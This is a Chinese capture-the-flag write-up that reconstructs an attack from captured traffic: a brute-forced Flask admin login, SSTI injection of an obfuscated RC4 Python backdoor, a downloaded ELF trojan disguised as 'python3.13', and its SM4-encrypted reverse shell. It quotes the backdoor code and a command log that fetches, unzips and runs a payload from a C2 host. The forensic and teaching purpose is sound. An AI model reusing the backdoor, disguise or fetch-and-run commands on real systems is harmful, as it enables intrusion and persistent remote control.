玄机靶场-第三届"长城杯"初赛-SnakeBackdoor WP
困难级别,6步,综合考察流量分析 + Flask SSTI漏洞利用 + RC4加密逆向 + ELF二进制逆向 + LD_PRELOAD Hook技术。整条攻击链从爆破后台到植入Python伪装木马,最后通过SM4加密反弹Shell拿到flag,链路清晰但每步都有一定深度。
1. 爆破后台密码
第一步要找攻击者爆破成功的那个密码。打开流量包,过滤 HTTP 流量,直接翻 /admin/login 的请求记录。爆破过程会产生大量 POST 请求,大部分返回 200 或 401,唯一那条返回 302 跳转的就是密码正确的那次。
在 Wireshark 里用 http.request.method == "POST" && http contains "/admin/login" 过滤,倒着看找到最后一条 302,跟进 HTTP 流查看 POST 的 body:
username=admin&password=zxcvbnm123
302 跳转说明登录成功,密码就是 zxcvbnm123。
Flag 1:flag{zxcvbnm123}
2. 获取 Flask SECRET_KEY
攻击者登录后台后,利用了 Flask 应用的某个漏洞读取到了 SECRET_KEY。在流量包里直接搜索关键字 SECRET_KEY,很快就能在 HTTP 响应体里找到:
SECRET_KEY = c6242af0-6891-4510-8432-e1cdf051f160
这个 SECRET_KEY 是 Flask session 签名密钥,拿到之后攻击者可以伪造任意 session,进一步利用后台功能。漏洞点在 /admin/preview 接口,是一个 SSTI(服务端模板注入)漏洞,通过 preview_content 参数注入恶意模板表达式,读取了应用配置。
Flag 2:flag{c6242af0-6891-4510-8432-e1cdf051f160}
3. 分析注入 Payload 中的加密密钥
拿到 SECRET_KEY 后,攻击者继续利用 /admin/preview 的 SSTI 注入了一段 Python 木马 Payload。追踪下一条 /admin/preview 的 POST 流量,在 preview_content 参数里能看到一段混淆的 base64 代码:
python
import base64; exec(base64.b64decode('XyA9IGxhbWJkYSBfXyA6IF9faW1wb3J0X18oJ3psaWInKS...'))
把 exec 改成 print 运行,得到第一层解码结果:
python
_ = lambda __ : __import__('zlib').decompress(__import__('base64').b64decode(__[::-1]));
exec((_)(b'=c4CU3xP+//vPzftv8gri635a0T1rQv...'))
这是一个递归加密结构:base64 + zlib 反转多层嵌套。编写脚本递归解密所有层,最终得到木马的核心代码:
python
RC4_SECRET = b'v1p3r_5tr1k3_k3y'
def rc4_crypt(data: bytes, key: bytes) -> bytes:
S = list(range(256))
j = 0
for i in range(256):
j = (j + S[i] + key[i % len(key)]) % 256
S[i], S[j] = S[j], S[i]
i = j = 0
res = bytearray()
for char in data:
i = (i + 1) % 256
j = (j + S[i]) % 256
S[i], S[j] = S[j], S[i]
res.append(char ^ S[(S[i] + S[j]) % 256])
return bytes(res)
def backdoor_handler():
if request.headers.get('X-Token-Auth') != '3011aa21232beb7504432bfa90d32779':
return "Error"
enc_hex_cmd = request.form.get('data')
...
cmd = rc4_crypt(enc_cmd, RC4_SECRET).decode('utf-8')
...
木马使用 RC4 对称加密隐藏通信内容,密钥字符串硬编码为 v1p3r_5tr1k3_k3y,并通过 X-Token-Auth 请求头做身份验证。
Flag 3:flag{v1p3r_5tr1k3_k3y}
4. 找到木马本体文件名
木马后门通过 X-Token-Auth: 3011aa21232beb7504432bfa90d32779 头部认证,在流量包里搜索这个 token 值,找到所有后门通信流量。
用上一步拿到的 RC4 密钥 v1p3r_5tr1k3_k3y 编写解密脚本,批量解密所有 data 字段的十六进制密文:
python
import binascii
RC4_SECRET = b'v1p3r_5tr1k3_k3y'
def rc4_crypt(data: bytes, key: bytes) -> bytes:
S = list(range(256))
j = 0
for i in range(256):
j = (j + S[i] + key[i % len(key)]) % 256
S[i], S[j] = S[j], S[i]
i = j = 0
res = bytearray()
for char in data:
i = (i + 1) % 256
j = (j + S[i]) % 256
S[i], S[j] = S[j], S[i]
res.append(char ^ S[(S[i] + S[j]) % 256])
return bytes(res)
def decrypt(enc_hex_cmd):
enc_cmd = binascii.unhexlify(enc_hex_cmd)
cmd = rc4_crypt(enc_cmd, RC4_SECRET).decode('utf-8', errors='ignore')
print(cmd)
解密后还原出攻击者执行的完整命令序列:
id
uid=0(root) gid=0(root) groups=0(root)
ls -al
total 36
drwxr-xr-x 5 root root 4096 Dec 20 13:55 .
...
-rw-r--r-- 1 root root 2284 Dec 20 13:55 app.py
curl 192.168.1.201:8080/shell.zip -o /tmp/123.zip
unzip -P nf2jd092jd01 -d /tmp /tmp/123.zip
Archive: /tmp/123.zip
inflating: /tmp/shell
mv /tmp/shell /tmp/python3.13
chmod +x /tmp/python3.13
/tmp/python3.13
攻击者从 C2 下载了一个 shell.zip(密码 nf2jd092jd01),解压得到二进制文件 shell,然后把它改名为 python3.13 伪装成 Python 解释器,再赋权执行。木马本体文件名就是 python3.13。
Flag 4:flag{python3.13}
5. 逆向分析木马通信加密密钥
这一步需要对 python3.13(即 shell)这个 ELF 二进制文件进行逆向分析。
用 DIE(Detect It Easy)查壳,确认无壳,是标准 ELF 可执行文件。用 IDA Pro 分析主入口点:
- 程序建立 TCP 连接到 C2 地址
192.168.1.201:58782 - 连接成功后先接收 4 字节握手数据
- 然后调用
sub_18ED(recv 封装)读取 4 字节种子值 - 用这个种子调用
srand()初始化随机数生成器 - 连续调用 4 次
rand(),将返回的 4 个 32 位整数拼成 16 字节密钥数组v8 - 后续所有通信数据都用这个动态生成的密钥加密(SM4 算法)
关键逻辑: 程序通过 Socket 接收到的是大端序字节流,在存入 seed 前需要进行字节序转换:
c
seed = (command_ >> 8) & 0xFF00 | (command_ << 8) & 0xFF0000 | (command_ << 24) | HIBYTE(command_);
在 Wireshark 里用以下过滤规则找到种子数据包:
(ip.src == 192.168.1.201 && tcp.port == 58782) && tcp.len == 4
第一条结果的内容就是种子:34952046(十六进制)。
编写 C 程序还原密钥(注意必须在 Linux/Kali 上编译,因为 Windows 和 Linux 的 rand() 实现不同):
c
#include <stdio.h>
#include <stdlib.h>
#define HIBYTE(x) (((x) >> 24) & 0xFF)
int main() {
unsigned int seed = 0x34952046;
srand(seed);
for (int i = 0; i <= 3; i++) {
unsigned int r = rand();
unsigned char *ptr = (unsigned char *)&r;
for (int j = 0; j < 4; j++) {
printf("%02x", ptr[j]);
}
}
return 0;
}
在 Kali Linux 上编译运行,得到 16 字节密钥(hex):
ac46fb610b313b4f32fc642d8834b456
Flag 5:flag{ac46fb610b313b4f32fc642d8834b456}
6. 获取服务器上的 flag
最后一步需要解密木马与 C2 之间的加密通信,还原攻击者在服务器上执行的命令和获取的 flag。
由于木马使用 SM4 加密且密钥是动态生成的,直接静态分析解密较为复杂。这里采用 LD_PRELOAD Hook 技术:通过劫持 connect、rand、recv、popen、pclose、send 等系统函数,让木马在本地"空跑",将流量包中的密文注入程序,由程序自己完成解密,再通过 hook 的 popen 打印出明文命令。
核心 Hook 逻辑:
connect:直接返回 0,绕过 C2 连接检查rand:返回预设密钥ac46fb610b313b4f32fc642d8834b456的各字节,确保密钥一致recv:按顺序注入从流量包中提取的密文长度和密文数据popen:拦截并打印解密后的明文命令,不实际执行pclose/send:返回正常值,防止程序因管道错误退出
从 Wireshark 追踪流 1827(ip.src == 192.168.1.201 && tcp.port == 58782 且 tcp.len == 4 的第一条结果),提取所有密文长度和密文对,注入 Hook 代码后编译运行:
bash
gcc -fPIC -shared -o hook.so hook.c -ldl
LD_PRELOAD=./hook.so ./python3.13
注意: 出题人在流量包中将字符
1和l、0和O互换进行了混淆,需要手动还原后再注入。
程序解密输出的最终命令序列中包含服务器上的 flag:
flag{6894c9ec-719b-4605-82bf-4fe1de27738f}
Flag 6:flag{6894c9ec-719b-4605-82bf-4fe1de27738f}
总结
这道题完整还原了一条从 Web 爆破到持久化驻留的攻击链:攻击者爆破 Flask 后台 → 利用 SSTI 漏洞注入多层混淆的 RC4 后门 → 通过后门下载并执行伪装成 Python 解释器的 ELF 木马 → 木马使用动态 PRNG 密钥 + SM4 加密建立反弹 Shell → 最终读取服务器 flag。
Flag 汇总:
| 步骤 | 内容 | Flag |
|---|---|---|
| 1 | 爆破成功的后台密码 | flag{zxcvbnm123} |
| 2 | Flask SECRET_KEY | flag{c6242af0-6891-4510-8432-e1cdf051f160} |
| 3 | RC4 加密密钥字符串 | flag{v1p3r_5tr1k3_k3y} |
| 4 | 木马本体文件名 | flag{python3.13} |
| 5 | SM4 通信加密密钥(hex) | flag{ac46fb610b313b4f32fc642d8834b456} |
| 6 | 服务器 flag | flag{6894c9ec-719b-4605-82bf-4fe1de27738f} |